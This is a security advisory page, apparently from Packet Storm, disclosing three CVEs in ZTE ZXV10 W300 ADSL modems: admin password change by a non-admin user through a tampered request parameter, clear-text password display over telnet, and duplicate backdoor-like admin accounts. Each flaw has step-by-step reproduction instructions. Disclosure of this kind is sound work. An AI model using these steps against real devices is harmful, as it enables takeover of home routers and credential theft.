exploit the possibilities

ZTE ADSL ZXV10 W300 Authorization / Disclosure / Backdoor

ZTE ADSL ZXV10 W300 Authorization / Disclosure / Backdoor
Posted Nov 20, 2015
Authored by Karn Ganeshen

ZTE ADSL ZXV10 W300 modems suffer from insufficient authorization controls, information disclosure, and a backdoor account feature.

tags | exploit, info disclosure
advisories | CVE-2015-7257, CVE-2015-7258, CVE-2015-7259
MD5 | fb783350bf9d735f7c56d967e86f6995

ZTE ADSL ZXV10 W300 Authorization / Disclosure / Backdoor

Change Mirror Download
# Exploit Title: [ZTE ADSL ZXV10 W300 modems - Multiple vulnerabilities]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [www.zte.com.cn]
# Versions Reported: [W300V2.1.0f_ER7_PE_O57 and W300V2.1.0h_ER7_PE_O57]

*CVE-ID*:
CVE-2015-7257
CVE-2015-7258
CVE-2015-7259

*Note*: Large deployment size, primarily in Peru, used by TdP.

1 *Insufficient authorization controls*
*CVE-ID*: CVE-2015-7257
Observed in Password Change functionality. Other functions may be
vulnerable as well.

*Expected behavior:*
Only administrative 'admin' user should be able to change password for all
the device users. 'support' is a diagnostic user with restricted
privileges. It can change only its own password.

*Vulnerability:*
Any non-admin user can change 'admin' password.

*Steps to reproduce:*
a. Login as user 'support' password XXX
b. Access Password Change page - http://<IP>/password.htm
c. Submit request
d. Intercept and Tamper the parameter ­ username ­ change from 'support' to
'admin'
e. Enter the new password ­> old password is not requested ­> Submit
> Login as admin
-> Pwn!


2 *Sensitive information disclosure - clear-text passwords*
*CVE-ID*: CVE-2015-7258
Displaying user information over Telnet connection, shows all valid users
and their passwords in clear­-text.

*Steps to reproduce:*
$ telnet <IP>
Trying <IP>...
Connected to <IP>.
Escape character is '^]'.
User Access Verification
Username: admin
Password: <­­­ admin/XXX1

$sh
ADSL#login show <--­­­ shows user information
Username Password Priority
admin password1 2
support password2 0
admin password3 1

3 *(Potential) Backdoor account feature - **insecure account management*
*CVE-ID*: CVE-2015-7259
Same login account can exist on the device, multiple times, each with
different priority#. It is possible to log in to device with either of the
username/password combination.

It is considered as a (redundant) login support *feature*.

*Steps to reproduce:*
$ telnet <IP>
Trying <IP>...
Connected to <IP>.
Escape character is '^]'.
User Access Verification
User Access Verification
Username: admin
Password: <­--­­ admin/password3

$sh
ADSL#login show
Username Password Priority
admin password1 2
support password2 0
admin password3 1

+++++
--
Best Regards,
Karn Ganeshen
Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    41 Files
  • 21
    Oct 21st
    18 Files
  • 22
    Oct 22nd
    10 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close